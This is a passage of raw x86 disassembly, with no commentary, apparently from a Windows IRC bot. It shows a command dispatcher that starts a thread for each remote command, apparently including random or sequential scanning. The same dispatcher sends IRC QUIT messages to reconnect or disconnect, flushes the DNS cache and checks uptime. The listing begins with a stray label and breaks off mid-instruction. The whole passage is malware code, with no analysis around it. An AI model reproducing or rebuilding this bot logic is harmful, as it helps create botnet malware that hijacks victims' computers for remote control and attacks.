loc_403C47 push 10h lea eax, [ebp+var_2CC] pop edi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2CC], edi push [ebp+arg_4] call ds:dword_4E2F6C ; getsockname mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call ds:dword_4E3054 ; inet_ntoa push eax lea eax, [ebp+var_860] push eax call sub_41E510 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_860] push eax call sub_41F5B0 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_403AE6 loc_403AC4: ; CODE XREF: sub_401C87+1E5Dj cmp eax, ebx jz short loc_403AE6 mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41F5B0 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_403AC4 loc_403AE6: ; CODE XREF: sub_401C87+1E3Bj ; sub_401C87+1E3Fj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_750], eax mov eax, [ebp+var_4] mov [ebp+var_728], eax mov eax, [ebp+var_8] mov [ebp+var_724], eax mov edi, 80h lea eax, [ebp+var_850] push edi push eax mov [ebp+var_720], 1 call sub_41EC30 push offset byte_4E2E79 push esi call sub_41F7E0 add esp, 14h test eax, eax jz short loc_403B48 push esi lea eax, [ebp+var_7D0] push edi push eax call sub_41EC30 add esp, 0Ch jmp short loc_403B4E ; --------------------------------------------------------------------------- loc_403B48: ; CODE XREF: sub_401C87+1EACj mov [ebp+var_7D0], bl loc_403B4E: ; CODE XREF: sub_401C87+1EBFj cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_403B60 mov eax, offset aSequential ; "Sequential" loc_403B60: ; CODE XREF: sub_401C87+1ED2j push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C0] push offset unk_4407B0 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 0Bh push eax call sub_40B691 add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset sub_40CA91 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_403C3D call ds:dword_4F5360 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2C0] push offset unk_44081C push eax call sub_41EA60 add esp, 0Ch loc_403BF3: ; CODE XREF: sub_401C87+1FBEj cmp [ebp+var_8], ebx jnz short loc_403C14 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409C75 add esp, 14h loc_403C14: ; CODE XREF: sub_401C87+1F6Fj lea eax, [ebp+var_2C0] push eax call sub_415A3C pop ecx loc_403C21: ; CODE XREF: sub_401C87+1D41j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_40397E jmp loc_4076C4 ; --------------------------------------------------------------------------- loc_403C35: ; CODE XREF: sub_401C87+1FBCj push 32h call ds:dword_4F534C ; Sleep loc_403C3D: ; CODE XREF: sub_401C87+1F4Fj cmp [ebp+var_71C], ebx jz short loc_403C35 jmp short loc_403BF3 ; --------------------------------------------------------------------------- loc_403C47: ; CODE XREF: sub_401C87+1DBDj push offset unk_440858 jmp loc_40713A ; --------------------------------------------------------------------------- loc_403C51: ; CODE XREF: sub_401C87+1B16j ; sub_401C87+1B2Bj push 5 call sub_40B8D3 test eax, eax pop ecx jle short loc_403C67 push offset unk_440890 jmp loc_40713A ; --------------------------------------------------------------------------- loc_403C67: ; CODE XREF: sub_401C87+1FD4j mov eax, [ebp+esi+var_8C] mov edi, 104h cmp eax, ebx jz short loc_403C8A push eax lea eax, [ebp+var_2D50] push edi push eax call sub_41EC30 add esp, 0Ch jmp short loc_403C99 ; --------------------------------------------------------------------------- loc_403C8A: ; CODE XREF: sub_401C87+1FEEj lea eax, [ebp+var_2D50] push edi push eax push ebx call ds:off_4F5344 loc_403C99: ; CODE XREF: sub_401C87+2001j mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403CA9 mov esi, offset byte_43F0FC loc_403CA9: ; CODE XREF: sub_401C87+201Bj push esi lea eax, [ebp+var_2C4C] push edi push eax call sub_41EC30 mov eax, ds:dword_43F07C push 7Fh push [ebp+var_88] mov [ebp+var_2B40], eax mov eax, [ebp+arg_4] mov [ebp+var_2B44], ebx mov [ebp+var_2D54], eax lea eax, [ebp+var_2B3C] push eax call sub_41E510 mov eax, [ebp+var_4] mov [ebp+var_2ABC], eax mov eax, [ebp+var_8] mov [ebp+var_2AB8], eax lea eax, [ebp+var_2D50] push eax lea eax, [ebp+var_2C0] push [ebp+var_2B40] push offset unk_4408B0 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 5 push eax call sub_40B691 add esp, 34h mov [ebp+var_2B48], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D54] push ebx push eax push offset sub_41206F push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_2B48] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_403D75 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_4408E4 jmp loc_406190 ; --------------------------------------------------------------------------- loc_403D6D: ; CODE XREF: sub_401C87+20F4j push 32h call ds:dword_4F534C ; Sleep loc_403D75: ; CODE XREF: sub_401C87+20D3j cmp [ebp+var_2AB4], ebx jz short loc_403D6D jmp loc_407148 ; --------------------------------------------------------------------------- loc_403D82: ; CODE XREF: sub_401C87+1AECj ; sub_401C87+1B01j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403DA1 push edi call sub_41E710 test eax, eax pop ecx jz short loc_403DA1 push edi call sub_41E710 pop ecx jmp short loc_403DA6 ; --------------------------------------------------------------------------- loc_403DA1: ; CODE XREF: sub_401C87+2104j ; sub_401C87+210Fj mov eax, ds:dword_43F080 loc_403DA6: ; CODE XREF: sub_401C87+2118j mov esi, [ebp+esi+var_88] mov [ebp+var_36C8], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B4], eax jz short loc_403DD9 lea eax, [ebp+var_37CC] push esi push eax call sub_41EA60 pop ecx pop ecx jmp short loc_403E04 ; --------------------------------------------------------------------------- loc_403DD9: ; CODE XREF: sub_401C87+213Fj lea eax, [ebp+var_4FF4] push 104h push eax call ds:dword_4F5348 ; GetSystemDirectoryA push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_4FF4] push eax call sub_41ED30 add esp, 14h loc_403E04: ; CODE XREF: sub_401C87+2150j lea eax, [ebp+var_37CC] push eax call sub_41BC70 cmp [ebp+eax+var_37CD], 5Ch pop ecx jnz short loc_403E2F lea eax, [ebp+var_37CC] push eax call sub_41BC70 pop ecx mov [ebp+eax+var_37CD], bl loc_403E2F: ; CODE XREF: sub_401C87+2192j push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A54] mov [ebp+var_3A58], esi push 80h push eax call sub_41EC30 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36B8], eax lea eax, [ebp+var_37CC] mov [ebp+var_36BC], edi push eax push [ebp+var_36C8] push esi call sub_40AEAD pop ecx push eax lea eax, [ebp+var_2C0] push offset unk_440920 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 3 push eax call sub_40B691 add esp, 20h mov [ebp+var_36C0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A58] push ebx push eax push offset sub_40FA20 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_36C0] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_403EEA call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_44095C jmp loc_404014 ; --------------------------------------------------------------------------- loc_403EE2: ; CODE XREF: sub_401C87+2269j push 32h call ds:dword_4F534C ; Sleep loc_403EEA: ; CODE XREF: sub_401C87+2248j cmp [ebp+var_36AC], ebx jz short loc_403EE2 jmp loc_404023 ; --------------------------------------------------------------------------- loc_403EF7: ; CODE XREF: sub_401C87+1AC2j ; sub_401C87+1AD7j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403F16 push edi call sub_41E710 test eax, eax pop ecx jz short loc_403F16 push edi call sub_41E710 pop ecx jmp short loc_403F1B ; --------------------------------------------------------------------------- loc_403F16: ; CODE XREF: sub_401C87+2279j ; sub_401C87+2284j mov eax, ds:dword_43F084 loc_403F1B: ; CODE XREF: sub_401C87+228Dj mov [ebp+var_1824], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403F32 lea eax, [ebp+var_C0] loc_403F32: ; CODE XREF: sub_401C87+22A3j push eax lea eax, [ebp+var_1964] push 40h push eax call sub_41EC30 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403F54 mov esi, offset byte_4E2E7A loc_403F54: ; CODE XREF: sub_401C87+22C6j push esi lea eax, [ebp+var_1924] push 100h push eax call sub_41EC30 push [ebp+var_88] lea eax, [ebp+var_19E4] push 80h push eax call sub_41EC30 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 18h mov [ebp+var_1810], eax lea eax, [ebp+var_1964] push eax mov [ebp+var_19E8], esi push [ebp+var_1824] mov [ebp+var_1814], edi push esi call sub_40AEAD pop ecx push eax lea eax, [ebp+var_2C0] push offset unk_440998 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 9 push eax call sub_40B691 add esp, 20h mov [ebp+var_1820], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19E8] push ebx push eax push offset sub_411349 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_1820] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_404049 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_4409D4 loc_404014: ; CODE XREF: sub_401C87+2256j ; sub_401C87+4D76j ... lea eax, [ebp+var_2C0] push eax call sub_41EA60 add esp, 0Ch loc_404023: ; CODE XREF: sub_401C87+226Bj ; sub_401C87+23CAj ... cmp [ebp+var_8], ebx jnz loc_402593 push ebx push edi loc_40402E: ; CODE XREF: sub_401C87+6638j lea eax, [ebp+var_2C0] push eax push [ebp+var_88] push esi jmp loc_407165 ; --------------------------------------------------------------------------- loc_404041: ; CODE XREF: sub_401C87+23C8j push 32h call ds:dword_4F534C ; Sleep loc_404049: ; CODE XREF: sub_401C87+237Fj cmp [ebp+var_180C], ebx jz short loc_404041 jmp short loc_404023 ; --------------------------------------------------------------------------- loc_404053: ; CODE XREF: sub_401C87+1A98j ; sub_401C87+1AADj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_404066 push esi call sub_41E710 jmp short loc_40406D ; --------------------------------------------------------------------------- loc_404066: ; CODE XREF: sub_401C87+23D5j push 0Bh call sub_40B8F2 loc_40406D: ; CODE XREF: sub_401C87+23DDj cmp eax, ebx pop ecx jz loc_409A67 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BFD2 jmp loc_404533 ; --------------------------------------------------------------------------- loc_40408D: ; CODE XREF: sub_401C87+1A6Ej ; sub_401C87+1A83j mov eax, ds:dword_4E2EE4 cmp eax, ebx jz short loc_4040B0 call eax ; DnsFlushResolverCache test eax, eax lea eax, [ebp+var_2C0] jz short loc_4040A9 push offset unk_440A10 jmp short loc_4040BB ; --------------------------------------------------------------------------- loc_4040A9: ; CODE XREF: sub_401C87+2419j push offset unk_440A34 jmp short loc_4040BB ; --------------------------------------------------------------------------- loc_4040B0: ; CODE XREF: sub_401C87+240Dj push offset unk_440A60 lea eax, [ebp+var_2C0] loc_4040BB: ; CODE XREF: sub_401C87+2420j ; sub_401C87+2427j ... push 200h push eax call sub_41EC30 jmp loc_406F1B ; --------------------------------------------------------------------------- loc_4040CB: ; CODE XREF: sub_401C87+1A44j ; sub_401C87+1A59j call sub_40ADC9 test eax, eax lea eax, [ebp+var_2C0] jz short loc_4040E1 push offset unk_440A8C jmp short loc_4040BB ; --------------------------------------------------------------------------- loc_4040E1: ; CODE XREF: sub_401C87+2451j push offset unk_440AB0 jmp short loc_4040BB ; --------------------------------------------------------------------------- loc_4040E8: ; CODE XREF: sub_401C87+1A1Aj ; sub_401C87+1A2Fj cmp [ebp+var_8], ebx jnz short loc_404107 push ebx push [ebp+var_4] push offset dword_440ADC push [ebp+var_88] push [ebp+arg_4] call sub_409C75 add esp, 14h loc_404107: ; CODE XREF: sub_401C87+2464j push ebx push [ebp+var_4] call sub_418CAA push eax push [ebp+var_88] push [ebp+arg_4] call sub_409C75 push offset dword_440AF4 jmp loc_404403 ; --------------------------------------------------------------------------- loc_404129: ; CODE XREF: sub_401C87+18AAj ; sub_401C87+18BFj push 0Ah call sub_40B8D3 test eax, eax pop ecx jle short loc_40413F push offset unk_440B10 jmp loc_409869 ; --------------------------------------------------------------------------- loc_40413F: ; CODE XREF: sub_401C87+24ACj push [ebp+var_88] push [ebp+arg_4] call sub_41A8ED pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_40415E push offset unk_440B3C jmp loc_409869 ; --------------------------------------------------------------------------- loc_40415E: ; CODE XREF: sub_401C87+24CBj push offset unk_440B64 jmp loc_409869 ; --------------------------------------------------------------------------- loc_404168: ; CODE XREF: sub_401C87+1880j ; sub_401C87+1895j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A9CC jmp loc_402037 ; --------------------------------------------------------------------------- loc_404181: ; CODE XREF: sub_401C87+1856j ; sub_401C87+186Bj push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_417583 jmp loc_402037 ; --------------------------------------------------------------------------- loc_40419E: ; CODE XREF: sub_401C87+182Cj ; sub_401C87+1841j or edi, 0FFFFFFFFh call ds:dword_4F537C ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_4041C7 push esi call sub_41E710 pop ecx mov edi, eax loc_4041C7: ; CODE XREF: sub_401C87+2535j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_4041E0 cmp edi, 0FFFFFFFFh jnz loc_409A67 loc_4041E0: ; CODE XREF: sub_401C87+254Ej push ebx call sub_41B51B push eax lea eax, [ebp+var_2C0] push offset dword_440B84 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409C75 lea eax, [ebp+var_2C0] push eax call sub_415A3C loc_40421D: ; CODE XREF: sub_401C87+5F69j add esp, 28h jmp loc_409A67 ; --------------------------------------------------------------------------- loc_404225: ; CODE XREF: sub_401C87+1802j ; sub_401C87+1817j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41638E lea eax, [ebp+var_2C0] push offset dword_440B9C push eax call sub_41EA60 loc_404247: ; CODE XREF: sub_401C87+6858j add esp, 14h jmp loc_407148 ; --------------------------------------------------------------------------- loc_40424F: ; CODE XREF: sub_401C87+17D8j ; sub_401C87+17EDj push 27h call sub_40B8D3 test eax, eax pop ecx jle short loc_404283 cmp [ebp+var_8], ebx jnz loc_4076C4 push ebx push [ebp+var_4] push offset unk_440BBC push [ebp+var_88] push [ebp+arg_4] call sub_409C75 loc_40427B: ; CODE XREF: sub_401C87+729Fj add esp, 14h jmp loc_4076C4 ; --------------------------------------------------------------------------- loc_404283: ; CODE XREF: sub_401C87+25D2j push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41EC30 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_AA0], eax mov [ebp+var_AA8], ebx jz short loc_4042E4 push esi push offset aFull ; "full" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_4042E4 mov [ebp+var_AA8], 1 loc_4042E4: ; CODE XREF: sub_401C87+2640j ; sub_401C87+2651j lea eax, [ebp+var_2C0] push offset dword_440BE4 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 27h push eax call sub_40B691 add esp, 14h mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_41A574 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_404364 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2C0] push offset unk_440C00 push eax call sub_41EA60 add esp, 0Ch jmp loc_40758A ; --------------------------------------------------------------------------- loc_40435C: ; CODE XREF: sub_401C87+26E3j push 32h call ds:dword_4F534C ; Sleep loc_404364: ; CODE XREF: sub_401C87+26B3j cmp [ebp+var_A9C], ebx jz short loc_40435C jmp loc_40758A ; --------------------------------------------------------------------------- loc_404371: ; CODE XREF: sub_401C87+17AEj ; sub_401C87+17C3j cmp [ebp+var_8], ebx jnz short loc_404390 push ebx push [ebp+var_4] push offset dword_440C3C push [ebp+var_88] push [ebp+arg_4] call sub_409C75 add esp, 14h loc_404390: ; CODE XREF: sub_401C87+26EDj push [ebp+arg_4] call ds:dword_4E3060 ; closesocket call ds:dword_4E2F20 ; WSACleanup call sub_418EAE push ebx call ds:off_4F5338 loc_4043AB: ; CODE XREF: sub_401C87+1784j ; sub_401C87+1799j push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41B6C1 pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409C75 push offset dword_440C58 jmp short loc_404403 ; --------------------------------------------------------------------------- loc_4043D6: ; CODE XREF: sub_401C87+175Aj ; sub_401C87+176Fj push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B975 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409C75 push offset dword_440C74 loc_404403: ; CODE XREF: sub_401C87+249Dj ; sub_401C87+274Dj call sub_415A3C loc_404408: ; CODE XREF: sub_401C87+6FE7j add esp, 18h jmp loc_409A67 ; --------------------------------------------------------------------------- loc_404410: ; CODE XREF: sub_401C87+1730j ; sub_401C87+1745j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415B79 jmp loc_402037 ; --------------------------------------------------------------------------- loc_404429: ; CODE XREF: sub_401C87+1706j ; sub_401C87+171Bj cmp [ebp+var_C], ebx mov [ebp+var_1594], bl jz short loc_404468 mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_404468 push esi push [ebp+var_C] call sub_41EBB0 pop ecx cmp eax, ebx pop ecx jz short loc_404468 push eax push offset dword_440C90 lea eax, [ebp+var_1594] push 80h push eax call sub_41EC30 add esp, 10h loc_404468: ; CODE XREF: sub_401C87+27ABj ; sub_401C87+27B6j ... push [ebp+var_88] lea eax, [ebp+var_1614] push 80h push eax call sub_41EC30 mov eax, [ebp+arg_4] push offset dword_440C94 mov [ebp+var_1618], eax mov eax, [ebp+var_4] mov [ebp+var_1510], eax mov eax, [ebp+var_8] mov [ebp+var_150C], eax lea eax, [ebp+var_2C0] push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 25h push eax call sub_40B691 add esp, 20h mov [ebp+var_1514], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1618] push ebx push eax push offset sub_415BEC push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_1514] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_40450B call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_440CAC jmp loc_40220D ; --------------------------------------------------------------------------- loc_404503: ; CODE XREF: sub_401C87+288Aj push 32h call ds:dword_4F534C ; Sleep loc_40450B: ; CODE XREF: sub_401C87+2869j cmp [ebp+var_1508], ebx jz short loc_404503 jmp loc_4076C4 ; --------------------------------------------------------------------------- loc_404518: ; CODE XREF: sub_401C87+16DCj ; sub_401C87+16F1j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4159C4 push offset dword_440CE4 call sub_415A3C loc_404533: ; CODE XREF: sub_401C87+2401j add esp, 10h jmp loc_409A67 ; --------------------------------------------------------------------------- loc_40453B: ; CODE XREF: sub_401C87+16B2j ; sub_401C87+16C7j push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41EC30 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax jz short loc_404595 push offset dword_440CFC push esi call sub_41F7E0 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_B40], eax jmp short loc_40459B ; --------------------------------------------------------------------------- loc_404595: ; CODE XREF: sub_401C87+28F2j mov [ebp+var_B40], ebx loc_40459B: ; CODE XREF: sub_401C87+290Cj lea eax, [ebp+var_2C0] push offset dword_440D00 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 28h push eax call sub_40B691 add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset sub_40B6FC push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_40461B call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_440D20 loc_4045FF: ; CODE XREF: sub_401C87+77EAj lea eax, [ebp+var_2C0] push eax call sub_41EA60 add esp, 0Ch jmp loc_406F3F ; --------------------------------------------------------------------------- loc_404613: ; CODE XREF: sub_401C87+299Aj push 32h call ds:dword_4F534C ; Sleep loc_40461B: ; CODE XREF: sub_401C87+296Aj cmp [ebp+var_B34], ebx jz short loc_404613 jmp loc_406F3F ; --------------------------------------------------------------------------- loc_404628: ; CODE XREF: sub_401C87+1636j ; sub_401C87+164Bj push offset aTarab ; "Tarab" lea eax, [ebp+var_2C0] push offset dword_440D5C push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409C75 add esp, 20h jmp loc_406F3F ; --------------------------------------------------------------------------- loc_40465F: ; CODE XREF: sub_401C87+160Cj ; sub_401C87+1621j push ds:dword_4E2D04 call sub_41B51B push eax lea eax, [ebp+var_2C0] push offset unk_440D74 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409C75 add esp, 24h jmp loc_406F3F ; --------------------------------------------------------------------------- loc_40469D: ; CODE XREF: sub_401C87+15E2j ; sub_401C87+15F7j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4046CF cmp [ebp+var_C], ebx jz short loc_4046DE push esi push [ebp+var_C] call sub_41EBB0 pop ecx cmp eax, ebx pop ecx jz short loc_4046DE push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_409C2F add esp, 0Ch jmp short loc_4046DE ; --------------------------------------------------------------------------- loc_4046CF: ; CODE XREF: sub_401C87+2A1Fj push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_409C2F pop ecx pop ecx loc_4046DE: ; CODE XREF: sub_401C87+2A24j ; sub_401C87+2A33j ... push 0FFFFFFFEh pop eax jmp loc_409C2A ; --------------------------------------------------------------------------- loc_4046E6: ; CODE XREF: sub_401C87+15B8j ; sub_401C87+15CDj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_409C2F push offset dword_440DD4 call sub_415A3C add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_409C2A ; --------------------------------------------------------------------------- loc_404708: ; CODE XREF: sub_401C87+158Ej ; sub_401C87+15A3j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409C2F push offset dword_440E08 call sub_415A3C add esp, 0Ch jmp loc_4099D3 ; --------------------------------------------------------------------------- loc_404727: ; CODE XREF: sub_401C87+1564j ; sub_401C87+1579j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BD5A jmp loc_404AE3 ; --------------------------------------------------------------------------- loc_40473D: ; CODE XREF: sub_401C87+153Aj ; sub_401C87+154Fj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BD06 jmp loc_404AE3 ; --------------------------------------------------------------------------- loc_404753: ; CODE XREF: sub_401C87+1510j ; sub_401C87+1525j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BC9B jmp loc_404AE3 ; --------------------------------------------------------------------------- loc_404769: ; CODE XREF: sub_401C87+14E6j ; sub_401C87+14FBj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BBCD jmp loc_404AE3 ; --------------------------------------------------------------------------- loc_40477F: ; CODE XREF: sub_401C87+1441j ; sub_401C87+1456j push [ebp+esi+var_8C] push 27h push offset dword_440E24 push offset dword_440E34 jmp loc_402C8F ; --------------------------------------------------------------------------- loc_404797: ; CODE XREF: sub_401C87+1417j ; sub_401C87+142Cj push [ebp+esi+var_8C] push 24h push offset dword_440E44 push offset dword_440E50 jmp loc_402C8F ; --------------------------------------------------------------------------- loc_4047AF: ; CODE XREF: sub_401C87+1033j ; sub_401C87+1048j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_4047CE push edi call sub_41E710 test eax, eax pop ecx jz short loc_4047CE push edi call sub_41E710 pop ecx jmp short loc_4047D3 ; --------------------------------------------------------------------------- loc_4047CE: ; CODE XREF: sub_401C87+2B31j ; sub_401C87+2B3Cj mov eax, ds:dword_43F078 loc_4047D3: ; CODE XREF: sub_401C87+2B45j mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_4047F8 push esi loc_4047E5: ; CODE XREF: sub_401C87+2B80j lea eax, [ebp+var_5A0] push 10h push eax call sub_41EC30 add esp, 0Ch jmp short loc_40480F ; --------------------------------------------------------------------------- loc_4047F8: ; CODE XREF: sub_401C87+2B5Bj cmp [ebp+var_8FF], bl jz short loc_404809 lea eax, [ebp+var_C0] push eax jmp short loc_4047E5 ; --------------------------------------------------------------------------- loc_404809: ; CODE XREF: sub_401C87+2B77j mov [ebp+var_5A0], bl loc_40480F: ; CODE XREF: sub_401C87+2B6Fj mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41EC30 add esp, 0Ch push [ebp+var_590] push esi call sub_40AEAD pop ecx push eax lea eax, [ebp+var_2C0] push offset dword_440E60 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 19h push eax call sub_40B691 add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset sub_411AAE push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_4048C3 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset dword_440E88 jmp loc_40220D ; --------------------------------------------------------------------------- loc_4048BB: ; CODE XREF: sub_401C87+2C42j push 32h call ds:dword_4F534C ; Sleep loc_4048C3: ; CODE XREF: sub_401C87+2C21j cmp [ebp+var_57C], ebx jz short loc_4048BB jmp loc_4076C4 ; --------------------------------------------------------------------------- loc_4048D0: ; CODE XREF: sub_401C87+FC9j ; sub_401C87+FDEj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4048F0 push esi call sub_41E710 test ax, ax pop ecx jz short loc_4048F0 push esi call sub_41E710 pop ecx jmp short loc_4048F6 ; --------------------------------------------------------------------------- loc_4048F0: ; CODE XREF: sub_401C87+2C52j ; sub_401C87+2C5Ej mov ax, ds:word_43F088 loc_4048F6: ; CODE XREF: sub_401C87+2C67j push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41EC30 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AEAD pop ecx push eax lea eax, [ebp+var_2C0] push offset unk_440EC4 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push edi push eax push [ebp+var_88] push esi call sub_409C75 push ebx lea eax, [ebp+var_2C0] push 6 push eax call sub_40B691 add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset sub_40EE63 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_4049C8 call 